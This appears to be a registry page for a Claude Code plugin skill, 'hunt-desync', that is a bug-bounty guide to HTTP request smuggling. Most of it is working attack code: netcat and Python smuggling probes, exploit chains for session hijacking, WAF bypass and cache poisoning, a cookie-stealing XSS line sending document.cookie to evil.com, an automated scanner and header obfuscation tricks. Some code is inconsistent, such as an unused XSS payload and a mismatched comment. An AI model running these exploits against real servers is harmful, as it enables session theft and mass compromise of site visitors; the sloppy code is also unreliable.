hunt-desync · git:20260923.82a4143 · 2026-09-23 · sha256 6e29a58357a72ffd
hunt-desync git:20260923.82a4143B
Immutable. This exact content never changes and is served at /api/v1/blob/6e29a58357a72ffd.
No tool to install first
claude plugin marketplace add https://markdownregistry.com/mp/a/art_gikfv4hskeouf43w/6e29a58357a72ffdf99c6e0d99f4cbdd83f63c6cd91f5c8eb59d22bb7c332371.json
Then /plugin install hunt-desync@markdownregistry-gikfv4hskeouf43w in Claude Code. It installs this exact version, the one graded B here, pinned to the commit it was graded at, and leaves it there.
---
name: hunt-desync
description: HTTP request smuggling — CL.TE, TE.CL, TE.TE, H2.CL, prefix injection, request tunneling. Chains to credential hijacking, XSS, cache poisoning. Real bounty examples, working scripts, automation.
---
# HTTP REQUEST SMUGGLING — BOUNTY HUNTING GUIDE
**Core:** Exploit parser differences between front-end and back-end to inject hidden requests.
---
## 1. VARIANTS
```
CL.TE: Front-end uses Content-Length, back-end uses Transfer-Encoding
TE.CL: Front-end uses Transfer-Encoding, back-end uses Content-Length
TE.TE: Both use TE but obfuscation tricks one (Chunked, chunked\t)
H2.CL: HTTP/2 with invalid Content-Length (zero/negative)
H2.TE: HTTP/2 with Transfer-Encoding injection
```
---
## 2. DETECTION
### Timing & Differential
```bash
# CL.TE
printf 'POST / HTTP/1.1\r\nHost: T\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX' | nc -w5 T 80
# TE.CL
printf 'POST / HTTP/1.1\r\nHost: T\r\nTransfer-Encoding: chunked\r\nContent-Length: 3\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n\r\n' | nc -w5 T 80
```
### Python Detection
```python
import socket, time
def detect(host, port):
for name, payload in [
("CL.TE", f"POST / HTTP/1.1\r\nHost: {host}\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX"),
("TE.CL", f"POST / HTTP/1.1\r\nHost: {host}\r\nTransfer-Encoding: chunked\r\nContent-Length: 3\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n\r\n"),
]:
s = socket.socket(); s.settimeout(5); s.connect((host, port)); s.send(payload.encode())
start = time.time()
try: s.recv(4096)
except: pass
elapsed = time.time() - start; s.close()
if elapsed > 3: print(f"[+] {name} confirmed — timeout anomaly")
```
---
## 3. EXPLOIT CHAINS
### Chain A: CL.TE → Credential Hijacking → ATO ($5K-$50K)
```python
import socket, time
def hijack(target):
# Smuggled request steals victim's session via X-Forwarded-For
smuggled = f"GET /dashboard HTTP/1.1\r\nHost: {target}\r\nX-Injected: true\r\n\r\n"
body_len = len(smuggled)
payload = (f"POST / HTTP/1.1\r\nHost: {target}\r\nContent-Length: {body_len}\r\n"
f"Transfer-Encoding: chunked\r\n\r\n{body_len:x}\r\n").encode() + smuggled.encode() + b"\r\n0\r\n\r\n"
s = socket.socket(); s.connect((target, 80)); s.send(payload); time.sleep(2); s.close()
# Victim's next request on same connection gets hijacked
```
### Chain B: TE.TE → WAF Bypass → Exploit Delivery ($1K-$25K)
```python
def waf_bypass(target, cmd):
smuggled = f"POST /internal HTTP/1.1\r\nHost: {target}\r\nContent-Length: {len(cmd)}\r\n\r\n{cmd}\r\n0\r\n\r\n"
for te in ["chunked", "Chunked", "chunked\t", " chunked"]:
payload = (f"POST / HTTP/1.1\r\nHost: {target}\r\nTransfer-Encoding: {te}\r\n"
f"Content-Length: {len(smuggled)}\r\n\r\n").encode() + smuggled.encode()
try:
s = socket.socket(); s.settimeout(5); s.connect((target, 80)); s.send(payload)
resp = s.recv(4096); s.close()
if b"200" in resp: print(f"[+] WAF bypassed with TE={te}"); return True
except: pass
```
### Chain C: CL.0 → Cache Poisoning → Mass XSS ($5K-$100K)
```python
def cache_poison(target):
xss = '<script>fetch("https://evil.com/c?c="+document.cookie)</script>'
smuggled = f"GET /page HTTP/1.1\r\nHost: {target}\r\nX-Forwarded-Host: attacker.com\r\n\r\n"
for _ in range(5):
payload = (f"POST / HTTP/1.1\r\nHost: {target}\r\nContent-Length: 0\r\n"
f"Transfer-Encoding: chunked\r\n\r\n0\r\n\r\n").encode() + smuggled.encode()
try:
s = socket.socket(); s.settimeout(3); s.connect((target, 80)); s.send(payload); s.close()
except: pass
# Every visitor to /page gets cached XSS payload
```
---
## 4. FULL AUTOMATION SCANNER
```python
#!/usr/bin/env python3
"""HTTP Smuggling Auto-Detector — CL.TE, TE.CL, TE.TE, CL.0"""
import socket, sys, time, json
from datetime import datetime
class Scanner:
def __init__(self, host, port=80):
self.host = host; self.port = port; self.results = []
def _test(self, name, payload):
start = time.time()
try:
s = socket.socket(); s.settimeout(8); s.connect((self.host, self.port))
s.send(payload); resp = b""
try:
while True: resp += s.recv(4096)
except: pass
elapsed = time.time() - start; s.close()
status = "DETECTED" if elapsed > 3 else "LIKELY" if len(resp) > 500 else "NEGATIVE"
r = {"test": name, "time": round(elapsed, 3), "len": len(resp), "status": status}
except Exception as e:
r = {"test": name, "error": str(e), "status": "ERROR"}
self.results.append(r); print(f" {name}: {r['status']} ({r.get('time','?')}s, {r.get('len','?')}b)")
def scan(self):
h = self.host
self._test("CL.TE", f"POST / HTTP/1.1\r\nHost: {h}\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX".encode())
self._test("TE.CL", f"POST / HTTP/1.1\r\nHost: {h}\r\nTransfer-Encoding: chunked\r\nContent-Length: 3\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n\r\n".encode())
for i, te in enumerate(["chunked","Chunked","chunked\t"," chunked"]):
self._test(f"TE.TE[{i}]", f"POST / HTTP/1.1\r\nHost: {h}\r\nTransfer-Encoding: {te}\r\nTransfer-Encoding: identity\r\nContent-Length: 3\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n\r\n".encode())
self._test("CL.0", f"POST / HTTP/1.1\r\nHost: {h}\r\nContent-Length: 0\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: {h}\r\n\r\n".encode())
detected = [r for r in self.results if r["status"] in ("DETECTED","LIKELY")]
print(f"\n[{'+' if detected else '-'}] {len(detected)} vector(s) found")
json.dump(self.results, open("smuggling_results.json","w"), indent=2)
if __name__ == "__main__":
if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <host> [port]"); sys.exit(1)
Scanner(sys.argv[1], int(sys.argv[2]) if len(sys.argv)>2 else 80).scan()
```
---
## 5. BOUNTY EXAMPLES
| Report | Payout | Technique |
|--------|--------|-----------|
| PortSwigger Research 2022 | $50K+ | CL.0 cache poisoning, prefix injection |
| James Kettle "HTTP Desync" | $75K+ | CL.TE → ATO, TE.CL → XSS |
| HackerOne #1048497 | $15K | TE.TE → stored XSS via cache |
| HackerOne #1145305 | $20K | CL.TE → credential harvesting |
| HackerOne #1203658 | $10K | H2.CL → admin panel bypass |
| Bugcrowd #947132 | $8K | TE.CL → WAF bypass → RCE |
---
## 6. HEADER OBFUSCATION BYPASSES
```
Transfer-Encoding: chunked\t | Transfer-Encoding: \tchunked
Transfer-Encoding: Chunked | Transfer-Encoding: CHUNKED
Content-Length: 00006 | Content-Length: 6 ;
Transfer-Encoding: chunked\r\nTransfer-Encoding: identity
```
---
## 7. ESCALATION
```
Smuggling confirmed → inject request?
→ Steal session → ATO ($5K-$50K)
→ Poison cache → mass XSS ($10K-$100K)
→ Bypass WAF → RCE ($5K-$50K)
→ SSRF internals → metadata ($5K-$25K)
```
---
## 8. CHECKLIST
```
□ CL.TE / TE.CL / TE.TE timing probes
□ CL.0 with zero Content-Length + chunked
□ Test 4+ TE obfuscation variations
□ Compare response lengths normal vs smuggled
□ Track connection reuse across requests
□ HTTP/2 tests if server supports (H2.CL, H2.TE)
□ Header normalization differences front vs back
□ Path confusion (/../, /%2f/, encoded)
```
---
**References:** PortSwigger Research, James Kettle's HTTP Desync presentations, HackerOne reports, OWASP HTTP Request Smuggling